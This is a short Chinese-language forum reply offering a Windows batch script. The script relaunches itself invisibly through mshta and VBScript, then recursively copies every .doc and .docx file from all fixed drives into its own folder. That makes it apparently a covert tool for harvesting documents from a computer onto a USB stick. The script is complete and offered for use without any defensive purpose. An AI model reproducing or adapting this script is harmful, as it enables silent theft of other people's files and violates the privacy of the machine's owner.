回复 19# longmao
用XCOPY- @echo off
- if "%1" == "h" goto begin
- mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
- :begin
- set "des=%~dp0"
- for /f "tokens=2 delims==" %%i in ('wmic LogicalDisk where DriveType^=3 get DeviceID /value') do (
- for /f "delims=" %%j in ('dir /b/a-d/s %%i\*.doc %%i\*.docx') do xcopy /h /y "%%j" "%des%"
- )
复制代码
|